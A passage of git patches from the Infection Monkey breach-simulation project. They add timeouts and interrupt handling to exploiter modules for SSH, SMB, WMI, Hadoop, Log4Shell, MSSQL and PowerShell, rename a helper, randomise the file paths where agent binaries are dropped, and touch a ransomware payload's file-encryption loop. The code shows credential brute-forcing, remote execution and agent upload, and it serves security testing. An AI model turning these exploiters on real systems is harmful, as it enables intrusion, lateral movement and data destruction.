"sha256:79cbb862c11b9af19bcb682891c1b91942ec2ff7de8151e2aea2e175899cda34", + "sha256:7d3271c98434617a11921c5ccf74615794d97b079e22ed7773790822735cc352", + "sha256:aad484d52ec58008ca36bd4ad14a71d7dd0a99db1a4ca71072213f63bf49c7d9", + "sha256:b1675d82bcf6dbc96363fca747bac8bff6f6e4a447a4287ac652aa4b9adc796e", + "sha256:c268040769b48a13367221fced6d4232ed52f044ffafeda247bd9d2c6bdc29ca", + "sha256:d9b5d87ca944eb3aa4cd45516203ead4b37ab06b8b777c54aedc35975dec0dee", + "sha256:fcf44032f5b14fcda86028cdf49b6ebdaea091230eb0a757282aa656e4732439" + ], + "index": "pypi", + "markers": "sys_platform == 'win32'", + "version": "==303" }, "pywin32-ctypes": { "hashes": [ "sha256:24ffc3b341d457d48e8922352130cf2644024a4ff09762a2261fd34c36ee5942", "sha256:9dc2d991b3479cc2df15930958b674a48a227d5361d413827a4cfd0b5876fc98" ], + "index": "pypi", "markers": "sys_platform == 'win32'", "version": "==0.2.0" }, @@ -782,6 +795,24 @@ "markers": "python_full_version >= '3.6.7'", "version": "==22.2.0" }, + "twisted-iocpsupport": { + "hashes": [ + "sha256:306becd6e22ab6e8e4f36b6bdafd9c92e867c98a5ce517b27fdd27760ee7ae41", + "sha256:3c61742cb0bc6c1ac117a7e5f422c129832f0c295af49e01d8a6066df8cfc04d", + "sha256:72068b206ee809c9c596b57b5287259ea41ddb4774d86725b19f35bf56aa32a9", + "sha256:7d972cfa8439bdcb35a7be78b7ef86d73b34b808c74be56dfa785c8a93b851bf", + "sha256:81b3abe3527b367da0220482820cb12a16c661672b7bcfcde328902890d63323", + "sha256:851b3735ca7e8102e661872390e3bce88f8901bece95c25a0c8bb9ecb8a23d32", + "sha256:985c06a33f5c0dae92c71a036d1ea63872ee86a21dd9b01e1f287486f15524b4", + "sha256:9dbb8823b49f06d4de52721b47de4d3b3026064ef4788ce62b1a21c57c3fff6f", + "sha256:b435857b9efcbfc12f8c326ef0383f26416272260455bbca2cd8d8eca470c546", + "sha256:b76b4eed9b27fd63ddb0877efdd2d15835fdcb6baa745cb85b66e5d016ac2878", + "sha256:b9fed67cf0f951573f06d560ac2f10f2a4bbdc6697770113a2fc396ea2cb2565", + "sha256:bf4133139d77fc706d8f572e6b7d82871d82ec7ef25d685c2351bdacfb701415" + ], + "markers": "platform_system == 'Windows'", + "version": "==1.0.2" + }, "typing-extensions": { "hashes": [ "sha256:1a9462dcc3347a79b1f1c0271fbe79e844580bb598bafa1ed208b94da3cdcd42", @@ -810,7 +841,7 @@ "sha256:1421ebfc7648a39a5c58c601b154165d05cf47a3cd0ccb70857cbdacf6c8f2b8", "sha256:b863f8ff057c522164b6067c9e28b041161b4be5ba4d0daceeaa50a163822d3c" ], - "markers": "python_version >= '3.6'", + "markers": "python_full_version >= '3.6.0'", "version": "==2.0.3" }, "winacl": { @@ -818,7 +849,7 @@ "sha256:187b4394ef247806f50e1d8320bdb9e33ad1f759d9e61e2e391b97b9adf5f58a", "sha256:949a66b0f46015c8cf8d9c1bfdb3a5174e70c28ae1b096eb778bc2983ea7ce50" ], - "markers": "python_version >= '3.6'", + "markers": "python_full_version >= '3.6.0'", "version": "==0.1.2" }, "winsspi": { @@ -826,7 +857,7 @@ "sha256:a2ad9c0f6d70f6e0e0d1f54b8582054c62d8a09f346b5ccaf55da68628ca10e1", "sha256:a64624a25fc2d3663a2c5376c5291f3c7531e9c8051571de9ca9db8bf25746c2" ], - "markers": "python_version >= '3.6'", + "markers": "python_full_version >= '3.6.0'", "version": "==0.0.9" }, "winsys-3.x": { @@ -841,6 +872,7 @@ "sha256:1d6b085e5c445141c475476000b661f60fff1aaa19f76bf82b7abb92e0ff4942", "sha256:b6a6be5711b1b6c8d55bda7a8befd75c48c12b770b9d227d31c1737dbf0d40a6" ], + "index": "pypi", "markers": "sys_platform == 'win32'", "version": "==1.5.1" }, diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index 0410b95d8..f483d3833 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -23,6 +23,7 @@ SSH_CONNECT_TIMEOUT = LONG_REQUEST_TIMEOUT SSH_AUTH_TIMEOUT = LONG_REQUEST_TIMEOUT SSH_BANNER_TIMEOUT = MEDIUM_REQUEST_TIMEOUT SSH_EXEC_TIMEOUT = LONG_REQUEST_TIMEOUT +SSH_CHANNEL_TIMEOUT = MEDIUM_REQUEST_TIMEOUT TRANSFER_UPDATE_RATE = 15 @@ -75,6 +76,7 @@ class SSHExploiter(HostExploiter): timeout=SSH_CONNECT_TIMEOUT, auth_timeout=SSH_AUTH_TIMEOUT, banner_timeout=SSH_BANNER_TIMEOUT, + channel_timeout=SSH_CHANNEL_TIMEOUT, ) logger.debug( "Successfully logged in %s using %s users private key", self.host, ssh_string @@ -118,6 +120,7 @@ class SSHExploiter(HostExploiter): timeout=SSH_CONNECT_TIMEOUT, auth_timeout=SSH_AUTH_TIMEOUT, banner_timeout=SSH_BANNER_TIMEOUT, + channel_timeout=SSH_CHANNEL_TIMEOUT, ) logger.debug("Successfully logged in %r using SSH. User: %s", self.host, user) @@ -202,8 +205,6 @@ class SSHExploiter(HostExploiter): return self.exploit_result try: - # open_sftp can block up to an hour if a machine is killed - # after a connection with ssh.open_sftp() as ftp: ftp.putfo( agent_binary_file_object, From ed817feaf26e372ea8969cbcd1cdc5e9e6b9644e Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 21 Mar 2022 14:11:21 -0400 Subject: [PATCH 0825/1110] Agent: Make SMBExploiter interruptible --- monkey/infection_monkey/exploit/smbexec.py | 19 ++++++++++++------- 1 file changed, 12 insertions(+), 7 deletions(-) diff --git a/monkey/infection_monkey/exploit/smbexec.py b/monkey/infection_monkey/exploit/smbexec.py index 31a8dbb53..72cc1a6cb 100644 --- a/monkey/infection_monkey/exploit/smbexec.py +++ b/monkey/infection_monkey/exploit/smbexec.py @@ -3,6 +3,7 @@ from logging import getLogger from impacket.dcerpc.v5 import scmr, transport from impacket.dcerpc.v5.scmr import DCERPCSessionError +from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT from common.utils.attack_utils import ScanStatus, UsageEnum from infection_monkey.exploit.HostExploiter import HostExploiter from infection_monkey.exploit.tools.helpers import get_agent_dest_path @@ -14,6 +15,7 @@ from infection_monkey.utils.brute_force import ( get_credential_string, ) from infection_monkey.utils.commands import build_monkey_commandline +from infection_monkey.utils.threading import interruptable_iter logger = getLogger(__name__) @@ -33,7 +35,7 @@ class SMBExploiter(HostExploiter): dest_path = get_agent_dest_path(self.host, self.options) creds = generate_brute_force_combinations(self.options["credentials"]) - for user, password, lm_hash, ntlm_hash in creds: + for user, password, lm_hash, ntlm_hash in interruptable_iter(creds, self.interrupt): creds_for_log = get_credential_string([user, password, lm_hash, ntlm_hash]) try: @@ -76,8 +78,12 @@ class SMBExploiter(HostExploiter): continue if not self.exploit_result.exploitation_success: - logger.debug("Exploiter SmbExec is giving up...") - self.exploit_result.error_message = "Failed to authenticate to the victim over SMB" + if self._is_interrupted(): + self._set_interrupted() + else: + logger.debug("Exploiter SmbExec is giving up...") + self.exploit_result.error_message = "Failed to authenticate to the victim over SMB" + return self.exploit_result # execute the remote dropper in case the path isn't final @@ -94,9 +100,10 @@ class SMBExploiter(HostExploiter): "monkey_path": remote_full_path } + build_monkey_commandline(self.host, self.current_depth - 1) - smb_conn = False + smb_conn = None for str_bind_format, port in SMBExploiter.KNOWN_PROTOCOLS.values(): rpctransport = transport.DCERPCTransportFactory(str_bind_format % (self.host.ip_addr,)) + rpctransport.set_connect_timeout(LONG_REQUEST_TIMEOUT) rpctransport.set_dport(port) rpctransport.setRemoteHost(self.host.ip_addr) if hasattr(rpctransport, "set_credentials"): @@ -116,6 +123,7 @@ class SMBExploiter(HostExploiter): logger.debug(f"Connected to SCM on exploited machine {self.host}, port {port}") smb_conn = rpctransport.get_smb_connection() + smb_conn.setTimeout(LONG_REQUEST_TIMEOUT) break if not smb_conn: @@ -126,9 +134,6 @@ class SMBExploiter(HostExploiter): return self.exploit_result - # TODO: We DO want to deal with timeouts - # We don't wanna deal with timeouts from now on. - smb_conn.setTimeout(100000) scmr_rpc.bind(scmr.MSRPC_UUID_SCMR) resp = scmr.hROpenSCManagerW(scmr_rpc) sc_handle = resp["lpScHandle"] From 8921ed77ac142773bc3a35673e239d3e760e73a1 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Mon, 21 Mar 2022 18:05:30 +0100 Subject: [PATCH 0826/1110] Agent: Make Hadoop interruptable --- monkey/infection_monkey/exploit/hadoop.py | 9 +++++++++ monkey/infection_monkey/exploit/web_rce.py | 3 ++- 2 files changed, 11 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/hadoop.py b/monkey/infection_monkey/exploit/hadoop.py index 73caf065a..60ba4285d 100644 --- a/monkey/infection_monkey/exploit/hadoop.py +++ b/monkey/infection_monkey/exploit/hadoop.py @@ -65,6 +65,10 @@ class HadoopExploiter(WebRCE): return self.exploit_result def exploit(self, url, command): + if self._is_interrupted(): + self._set_interrupted() + return False + # Get the newly created application id resp = requests.post( posixpath.join(url, "ws/v1/cluster/apps/new-application"), timeout=LONG_REQUEST_TIMEOUT @@ -78,6 +82,11 @@ class HadoopExploiter(WebRCE): [random.choice(string.ascii_lowercase) for _ in range(self.RAN_STR_LEN)] # noqa: DUO102 ) payload = self._build_payload(app_id, rand_name, command) + + if self._is_interrupted(): + self._set_interrupted() + return False + resp = requests.post( posixpath.join(url, "ws/v1/cluster/apps/"), json=payload, timeout=LONG_REQUEST_TIMEOUT ) diff --git a/monkey/infection_monkey/exploit/web_rce.py b/monkey/infection_monkey/exploit/web_rce.py index 1c0bbdb88..87494af95 100644 --- a/monkey/infection_monkey/exploit/web_rce.py +++ b/monkey/infection_monkey/exploit/web_rce.py @@ -23,6 +23,7 @@ from infection_monkey.network.tools import tcp_port_to_service from infection_monkey.telemetry.attack.t1197_telem import T1197Telem from infection_monkey.telemetry.attack.t1222_telem import T1222Telem from infection_monkey.utils.commands import build_monkey_commandline +from infection_monkey.utils.threading import interruptable_iter logger = logging.getLogger(__name__) # Command used to check if monkeys already exists @@ -232,7 +233,7 @@ class WebRCE(HostExploiter): is found (bool) :return: None (we append to class variable vulnerable_urls) """ - for url in urls: + for url in interruptable_iter(urls, self.interrupt): if self.check_if_exploitable(url): self.add_vuln_url(url) self.vulnerable_urls.append(url) From 426fc15ec19b3cb7bdbe6f397579c4b5e884f725 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 22 Mar 2022 08:33:38 -0400 Subject: [PATCH 0827/1110] Agent: Fix typo interruptable -> interruptible --- monkey/infection_monkey/exploit/log4shell.py | 4 ++-- monkey/infection_monkey/exploit/mssqlexec.py | 4 ++-- monkey/infection_monkey/exploit/powershell.py | 4 ++-- monkey/infection_monkey/exploit/smbexec.py | 4 ++-- monkey/infection_monkey/exploit/sshexec.py | 6 +++--- monkey/infection_monkey/exploit/web_rce.py | 4 ++-- monkey/infection_monkey/exploit/wmiexec.py | 4 ++-- monkey/infection_monkey/master/automated_master.py | 4 ++-- monkey/infection_monkey/master/exploiter.py | 4 ++-- monkey/infection_monkey/master/ip_scanner.py | 4 ++-- .../payload/ransomware/ransomware.py | 4 ++-- monkey/infection_monkey/utils/threading.py | 6 +++--- .../infection_monkey/utils/test_threading.py | 14 +++++++------- 13 files changed, 33 insertions(+), 33 deletions(-) diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py index 25476ebc0..90c95ce28 100644 --- a/monkey/infection_monkey/exploit/log4shell.py +++ b/monkey/infection_monkey/exploit/log4shell.py @@ -18,7 +18,7 @@ from infection_monkey.network.info import get_free_tcp_port from infection_monkey.network.tools import get_interface_to_target from infection_monkey.utils.commands import build_monkey_commandline from infection_monkey.utils.monkey_dir import get_monkey_dir_path -from infection_monkey.utils.threading import interruptable_iter +from infection_monkey.utils.threading import interruptible_iter from infection_monkey.utils.timer import Timer logger = logging.getLogger(__name__) @@ -136,7 +136,7 @@ class Log4ShellExploiter(WebRCE): # Try to exploit all services, # because we don't know which services are running and on which ports for exploit in get_log4shell_service_exploiters(): - intr_ports = interruptable_iter(self._open_ports, self.interrupt) + intr_ports = interruptible_iter(self._open_ports, self.interrupt) for port in intr_ports: logger.debug( diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index eae4f33dd..dbbc265f2 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -15,7 +15,7 @@ from infection_monkey.model import DROPPER_ARG from infection_monkey.transport import LockedHTTPServer from infection_monkey.utils.brute_force import generate_identity_secret_pairs from infection_monkey.utils.commands import build_monkey_commandline -from infection_monkey.utils.threading import interruptable_iter +from infection_monkey.utils.threading import interruptible_iter logger = logging.getLogger(__name__) @@ -214,7 +214,7 @@ class MSSQLExploiter(HostExploiter): """ # Main loop # Iterates on users list - credentials_iterator = interruptable_iter( + credentials_iterator = interruptible_iter( users_passwords_pairs_list, self.interrupt, "MSSQL exploiter has been interrupted", diff --git a/monkey/infection_monkey/exploit/powershell.py b/monkey/infection_monkey/exploit/powershell.py index 868c31c97..1c496fc68 100644 --- a/monkey/infection_monkey/exploit/powershell.py +++ b/monkey/infection_monkey/exploit/powershell.py @@ -23,7 +23,7 @@ from infection_monkey.exploit.tools.helpers import get_random_file_suffix from infection_monkey.model import DROPPER_ARG, RUN_MONKEY, VictimHost from infection_monkey.utils.commands import build_monkey_commandline from infection_monkey.utils.environment import is_windows_os -from infection_monkey.utils.threading import interruptable_iter +from infection_monkey.utils.threading import interruptible_iter logger = logging.getLogger(__name__) @@ -137,7 +137,7 @@ class PowerShellExploiter(HostExploiter): def _authenticate_via_brute_force( self, credentials: List[Credentials], auth_options: List[AuthOptions] ) -> Optional[IPowerShellClient]: - for (creds, opts) in interruptable_iter(zip(credentials, auth_options), self.interrupt): + for (creds, opts) in interruptible_iter(zip(credentials, auth_options), self.interrupt): try: client = PowerShellClient(self.host.ip_addr, creds, opts) client.connect() diff --git a/monkey/infection_monkey/exploit/smbexec.py b/monkey/infection_monkey/exploit/smbexec.py index 72cc1a6cb..109771bd4 100644 --- a/monkey/infection_monkey/exploit/smbexec.py +++ b/monkey/infection_monkey/exploit/smbexec.py @@ -15,7 +15,7 @@ from infection_monkey.utils.brute_force import ( get_credential_string, ) from infection_monkey.utils.commands import build_monkey_commandline -from infection_monkey.utils.threading import interruptable_iter +from infection_monkey.utils.threading import interruptible_iter logger = getLogger(__name__) @@ -35,7 +35,7 @@ class SMBExploiter(HostExploiter): dest_path = get_agent_dest_path(self.host, self.options) creds = generate_brute_force_combinations(self.options["credentials"]) - for user, password, lm_hash, ntlm_hash in interruptable_iter(creds, self.interrupt): + for user, password, lm_hash, ntlm_hash in interruptible_iter(creds, self.interrupt): creds_for_log = get_credential_string([user, password, lm_hash, ntlm_hash]) try: diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index f483d3833..5f823b211 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -14,7 +14,7 @@ from infection_monkey.telemetry.attack.t1105_telem import T1105Telem from infection_monkey.telemetry.attack.t1222_telem import T1222Telem from infection_monkey.utils.brute_force import generate_identity_secret_pairs from infection_monkey.utils.commands import build_monkey_commandline -from infection_monkey.utils.threading import interruptable_iter +from infection_monkey.utils.threading import interruptible_iter from infection_monkey.utils.timer import Timer logger = logging.getLogger(__name__) @@ -49,7 +49,7 @@ class SSHExploiter(HostExploiter): secrets=self.options["credentials"]["exploit_ssh_keys"], ) - ssh_key_pairs_iterator = interruptable_iter( + ssh_key_pairs_iterator = interruptible_iter( user_ssh_key_pairs, self.interrupt, "SSH exploiter has been interrupted", @@ -100,7 +100,7 @@ class SSHExploiter(HostExploiter): secrets=self.options["credentials"]["exploit_password_list"], ) - credentials_iterator = interruptable_iter( + credentials_iterator = interruptible_iter( user_password_pairs, self.interrupt, "SSH exploiter has been interrupted", diff --git a/monkey/infection_monkey/exploit/web_rce.py b/monkey/infection_monkey/exploit/web_rce.py index 87494af95..9978f46d3 100644 --- a/monkey/infection_monkey/exploit/web_rce.py +++ b/monkey/infection_monkey/exploit/web_rce.py @@ -23,7 +23,7 @@ from infection_monkey.network.tools import tcp_port_to_service from infection_monkey.telemetry.attack.t1197_telem import T1197Telem from infection_monkey.telemetry.attack.t1222_telem import T1222Telem from infection_monkey.utils.commands import build_monkey_commandline -from infection_monkey.utils.threading import interruptable_iter +from infection_monkey.utils.threading import interruptible_iter logger = logging.getLogger(__name__) # Command used to check if monkeys already exists @@ -233,7 +233,7 @@ class WebRCE(HostExploiter): is found (bool) :return: None (we append to class variable vulnerable_urls) """ - for url in interruptable_iter(urls, self.interrupt): + for url in interruptible_iter(urls, self.interrupt): if self.check_if_exploitable(url): self.add_vuln_url(url) self.vulnerable_urls.append(url) diff --git a/monkey/infection_monkey/exploit/wmiexec.py b/monkey/infection_monkey/exploit/wmiexec.py index 9bfcb3d14..67802a0f8 100644 --- a/monkey/infection_monkey/exploit/wmiexec.py +++ b/monkey/infection_monkey/exploit/wmiexec.py @@ -15,7 +15,7 @@ from infection_monkey.utils.brute_force import ( get_credential_string, ) from infection_monkey.utils.commands import build_monkey_commandline -from infection_monkey.utils.threading import interruptable_iter +from infection_monkey.utils.threading import interruptible_iter logger = logging.getLogger(__name__) @@ -29,7 +29,7 @@ class WmiExploiter(HostExploiter): def _exploit_host(self) -> ExploiterResultData: creds = generate_brute_force_combinations(self.options["credentials"]) - intp_creds = interruptable_iter( + intp_creds = interruptible_iter( creds, self.interrupt, "WMI exploiter has been interrupted", diff --git a/monkey/infection_monkey/master/automated_master.py b/monkey/infection_monkey/master/automated_master.py index edc922fa2..f6f902a77 100644 --- a/monkey/infection_monkey/master/automated_master.py +++ b/monkey/infection_monkey/master/automated_master.py @@ -11,7 +11,7 @@ from infection_monkey.network import NetworkInterface from infection_monkey.telemetry.credentials_telem import CredentialsTelem from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger from infection_monkey.telemetry.post_breach_telem import PostBreachTelem -from infection_monkey.utils.threading import create_daemon_thread, interruptable_iter +from infection_monkey.utils.threading import create_daemon_thread, interruptible_iter from infection_monkey.utils.timer import Timer from . import Exploiter, IPScanner, Propagator @@ -220,7 +220,7 @@ class AutomatedMaster(IMaster): logger.debug(f"Found {len(plugins)} {plugin_type}(s) to run") interrupted_message = f"Received a stop signal, skipping remaining {plugin_type}s" - for p in interruptable_iter(plugins, self._stop, interrupted_message): + for p in interruptible_iter(plugins, self._stop, interrupted_message): # TODO: Catch exceptions to prevent thread from crashing callback(p) diff --git a/monkey/infection_monkey/master/exploiter.py b/monkey/infection_monkey/master/exploiter.py index c2c00c1ef..9a1aafa05 100644 --- a/monkey/infection_monkey/master/exploiter.py +++ b/monkey/infection_monkey/master/exploiter.py @@ -9,7 +9,7 @@ from typing import Callable, Dict, List, Mapping from infection_monkey.i_puppet import ExploiterResultData, IPuppet from infection_monkey.model import VictimHost -from infection_monkey.utils.threading import interruptable_iter, run_worker_threads +from infection_monkey.utils.threading import interruptible_iter, run_worker_threads QUEUE_TIMEOUT = 2 @@ -112,7 +112,7 @@ class Exploiter: stop: Event, ): - for exploiter in interruptable_iter(exploiters_to_run, stop): + for exploiter in interruptible_iter(exploiters_to_run, stop): exploiter_name = exploiter["name"] exploiter_results = self._run_exploiter( exploiter_name, exploiter["options"], victim_host, current_depth, stop diff --git a/monkey/infection_monkey/master/ip_scanner.py b/monkey/infection_monkey/master/ip_scanner.py index a24b136aa..2702642c9 100644 --- a/monkey/infection_monkey/master/ip_scanner.py +++ b/monkey/infection_monkey/master/ip_scanner.py @@ -13,7 +13,7 @@ from infection_monkey.i_puppet import ( PortStatus, ) from infection_monkey.network import NetworkAddress -from infection_monkey.utils.threading import interruptable_iter, run_worker_threads +from infection_monkey.utils.threading import interruptible_iter, run_worker_threads from . import IPScanResults @@ -98,7 +98,7 @@ class IPScanner: ) -> Dict[str, FingerprintData]: fingerprint_data = {} - for f in interruptable_iter(fingerprinters, stop): + for f in interruptible_iter(fingerprinters, stop): fingerprint_data[f["name"]] = self._puppet.fingerprint( f["name"], ip, ping_scan_data, port_scan_data, f["options"] ) diff --git a/monkey/infection_monkey/payload/ransomware/ransomware.py b/monkey/infection_monkey/payload/ransomware/ransomware.py index c4351acaf..9cf488c32 100644 --- a/monkey/infection_monkey/payload/ransomware/ransomware.py +++ b/monkey/infection_monkey/payload/ransomware/ransomware.py @@ -5,7 +5,7 @@ from typing import Callable, List from infection_monkey.telemetry.file_encryption_telem import FileEncryptionTelem from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger -from infection_monkey.utils.threading import interruptable_iter +from infection_monkey.utils.threading import interruptible_iter from .consts import README_FILE_NAME, README_SRC from .ransomware_options import RansomwareOptions @@ -57,7 +57,7 @@ class Ransomware: interrupted_message = ( "Received a stop signal, skipping remaining files for encryption of ransomware payload" ) - for filepath in interruptable_iter(file_list, interrupt, interrupted_message): + for filepath in interruptible_iter(file_list, interrupt, interrupted_message): try: logger.debug(f"Encrypting {filepath}") self._encrypt_file(filepath) diff --git a/monkey/infection_monkey/utils/threading.py b/monkey/infection_monkey/utils/threading.py index e383a2ee9..c7c1f7d58 100644 --- a/monkey/infection_monkey/utils/threading.py +++ b/monkey/infection_monkey/utils/threading.py @@ -31,14 +31,14 @@ def create_daemon_thread(target: Callable[..., None], name: str, args: Tuple = ( return Thread(target=target, name=name, args=args, daemon=True) -def interruptable_iter( +def interruptible_iter( iterator: Iterable, interrupt: Event, log_message: str = None, log_level: int = logging.DEBUG ) -> Any: """ Wraps an iterator so that the iterator can be interrupted if the `interrupt` Event is set. This - is a convinient way to make loops interruptable and avoids the need to add an `if` to each and + is a convinient way to make loops interruptible and avoids the need to add an `if` to each and every loop. - :param Iterable iterator: An iterator that will be made interruptable. + :param Iterable iterator: An iterator that will be made interruptible. :param Event interrupt: A `threading.Event` that, if set, will prevent the remainder of the iterator's items from being processed. :param str log_message: A message to be logged if the iterator is interrupted. If `log_message` diff --git a/monkey/tests/unit_tests/infection_monkey/utils/test_threading.py b/monkey/tests/unit_tests/infection_monkey/utils/test_threading.py index 6d1e759c8..7e04a1455 100644 --- a/monkey/tests/unit_tests/infection_monkey/utils/test_threading.py +++ b/monkey/tests/unit_tests/infection_monkey/utils/test_threading.py @@ -3,7 +3,7 @@ from threading import Event, current_thread from infection_monkey.utils.threading import ( create_daemon_thread, - interruptable_iter, + interruptible_iter, run_worker_threads, ) @@ -18,10 +18,10 @@ def test_create_daemon_thread_naming(): assert thread.name == "test" -def test_interruptable_iter(): +def test_interruptible_iter(): interrupt = Event() items_from_iterator = [] - test_iterator = interruptable_iter(range(0, 10), interrupt, "Test iterator was interrupted") + test_iterator = interruptible_iter(range(0, 10), interrupt, "Test iterator was interrupted") for i in test_iterator: items_from_iterator.append(i) @@ -31,10 +31,10 @@ def test_interruptable_iter(): assert items_from_iterator == [0, 1, 2, 3] -def test_interruptable_iter_not_interrupted(): +def test_interruptible_iter_not_interrupted(): interrupt = Event() items_from_iterator = [] - test_iterator = interruptable_iter(range(0, 5), interrupt, "Test iterator was interrupted") + test_iterator = interruptible_iter(range(0, 5), interrupt, "Test iterator was interrupted") for i in test_iterator: items_from_iterator.append(i) @@ -42,10 +42,10 @@ def test_interruptable_iter_not_interrupted(): assert items_from_iterator == [0, 1, 2, 3, 4] -def test_interruptable_iter_interrupted_before_used(): +def test_interruptible_iter_interrupted_before_used(): interrupt = Event() items_from_iterator = [] - test_iterator = interruptable_iter( + test_iterator = interruptible_iter( range(0, 5), interrupt, "Test iterator was interrupted", logging.INFO ) From 3973f2619222ab0e7521fc153ff2542655458697 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 22 Mar 2022 19:34:25 -0400 Subject: [PATCH 0828/1110] Build: Bump Python version for building AppImage to 3.7.13 --- build_scripts/appimage/appimage.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/build_scripts/appimage/appimage.sh b/build_scripts/appimage/appimage.sh index fead9901a..e7064f0cc 100755 --- a/build_scripts/appimage/appimage.sh +++ b/build_scripts/appimage/appimage.sh @@ -1,7 +1,7 @@ #!/bin/bash LINUXDEPLOY_URL="https://github.com/linuxdeploy/linuxdeploy/releases/download/continuous/linuxdeploy-x86_64.AppImage" -PYTHON_VERSION="3.7.12" +PYTHON_VERSION="3.7.13" PYTHON_APPIMAGE_URL="https://github.com/niess/python-appimage/releases/download/python3.7/python${PYTHON_VERSION}-cp37-cp37m-manylinux1_x86_64.AppImage" APPIMAGE_DIR="$(realpath $(dirname $BASH_SOURCE[0]))" APPDIR="$APPIMAGE_DIR/squashfs-root" From 2e6b361a9d35ba06815522635430e639601c25c0 Mon Sep 17 00:00:00 2001 From: vakaris_zilius Date: Wed, 23 Mar 2022 10:49:25 +0000 Subject: [PATCH 0829/1110] Agent: Add a method that appends random string to filename in path This method will be used to avoid duplication in destination file paths and will avoid clashes of exploiters writing to same files --- .../infection_monkey/exploit/tools/helpers.py | 24 +++++++++-- .../exploit/tools/test_helpers.py | 40 +++++++++++++++++++ 2 files changed, 60 insertions(+), 4 deletions(-) create mode 100644 monkey/tests/unit_tests/infection_monkey/exploit/tools/test_helpers.py diff --git a/monkey/infection_monkey/exploit/tools/helpers.py b/monkey/infection_monkey/exploit/tools/helpers.py index 84bd2c52b..5e9406160 100644 --- a/monkey/infection_monkey/exploit/tools/helpers.py +++ b/monkey/infection_monkey/exploit/tools/helpers.py @@ -1,22 +1,38 @@ import logging import random import string +from pathlib import Path from typing import Any, Mapping from infection_monkey.model import VictimHost logger = logging.getLogger(__name__) +RAND_SUFFIX_LEN = 8 + def get_random_file_suffix() -> str: character_set = list(string.ascii_letters + string.digits + "_" + "-") # random.SystemRandom can block indefinitely in Linux - random_string = "".join(random.choices(character_set, k=8)) # noqa: DUO102 + random_string = "".join(random.choices(character_set, k=RAND_SUFFIX_LEN)) # noqa: DUO102 return random_string -def get_agent_dest_path(host: VictimHost, options: Mapping[str, Any]) -> str: +def get_agent_dest_path(host: VictimHost, options: Mapping[str, Any]) -> Path: if host.os["type"] == "windows": - return options["dropper_target_path_win_64"] + path = Path(options["dropper_target_path_win_64"]) else: - return options["dropper_target_path_linux"] + path = Path(options["dropper_target_path_linux"]) + + return _add_random_suffix(path) + + +# Turns C:\\monkey.exe into C:\\monkey-.exe +# Useful to avoid duplicate file paths +def _add_random_suffix(path: Path) -> Path: + stem = path.name.split(".")[0] + suffixes = path.suffixes + stem = f"{stem}-{get_random_file_suffix()}" + rand_filename = "".join([stem, *suffixes]) + path = path.with_name(rand_filename) + return path diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_helpers.py b/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_helpers.py new file mode 100644 index 000000000..00e44d2e4 --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_helpers.py @@ -0,0 +1,40 @@ +from unittest.mock import Mock + +import pytest + +from infection_monkey.exploit.tools.helpers import RAND_SUFFIX_LEN, get_agent_dest_path + + +def _get_host_and_options(os, path): + host = Mock() + host.os = {"type": os} + options = {"dropper_target_path_win_64": path, "dropper_target_path_linux": path} + return host, options + + +@pytest.mark.parametrize("os", ["windows", "linux"]) +@pytest.mark.parametrize("path", ["C:\\monkey.exe", "/tmp/monkey-linux-64", "mon.key.exe"]) +def test_get_agent_dest_path(os, path): + host, options = _get_host_and_options(os, path) + rand_path = get_agent_dest_path(host, options) + + # Assert that filename got longer by RAND_SUFFIX_LEN and one dash + assert len(str(rand_path)) == (len(str(path)) + RAND_SUFFIX_LEN + 1) + + +def test_get_agent_dest_path_randomness(): + host, options = _get_host_and_options("windows", "monkey.exe") + + path1 = get_agent_dest_path(host, options) + path2 = get_agent_dest_path(host, options) + + assert not path1 == path2 + + +def test_get_agent_dest_path_str_place(): + host, options = _get_host_and_options("windows", "C:\\abc\\monkey.exe") + + rand_path = get_agent_dest_path(host, options) + + assert str(rand_path).startswith("C:\\abc\\monkey-") + assert str(rand_path).endswith(".exe") From efb0039e3405917523ddef3082d08706dfb6e944 Mon Sep 17 00:00:00 2001 From: vakaris_zilius Date: Wed, 23 Mar 2022 13:33:26 +0000 Subject: [PATCH 0830/1110] Agent: Make _add_random_suffix method code more concise --- monkey/infection_monkey/exploit/tools/helpers.py | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) diff --git a/monkey/infection_monkey/exploit/tools/helpers.py b/monkey/infection_monkey/exploit/tools/helpers.py index 5e9406160..87f5636eb 100644 --- a/monkey/infection_monkey/exploit/tools/helpers.py +++ b/monkey/infection_monkey/exploit/tools/helpers.py @@ -31,8 +31,6 @@ def get_agent_dest_path(host: VictimHost, options: Mapping[str, Any]) -> Path: # Useful to avoid duplicate file paths def _add_random_suffix(path: Path) -> Path: stem = path.name.split(".")[0] - suffixes = path.suffixes stem = f"{stem}-{get_random_file_suffix()}" - rand_filename = "".join([stem, *suffixes]) - path = path.with_name(rand_filename) - return path + rand_filename = "".join([stem, *path.suffixes]) + return path.with_name(rand_filename) From c2b06f22f045ceac86e9c9f19e4d0615e44fb98c Mon Sep 17 00:00:00 2001 From: vakaris_zilius Date: Wed, 23 Mar 2022 13:37:33 +0000 Subject: [PATCH 0831/1110] Agent: Improve path comparison style in 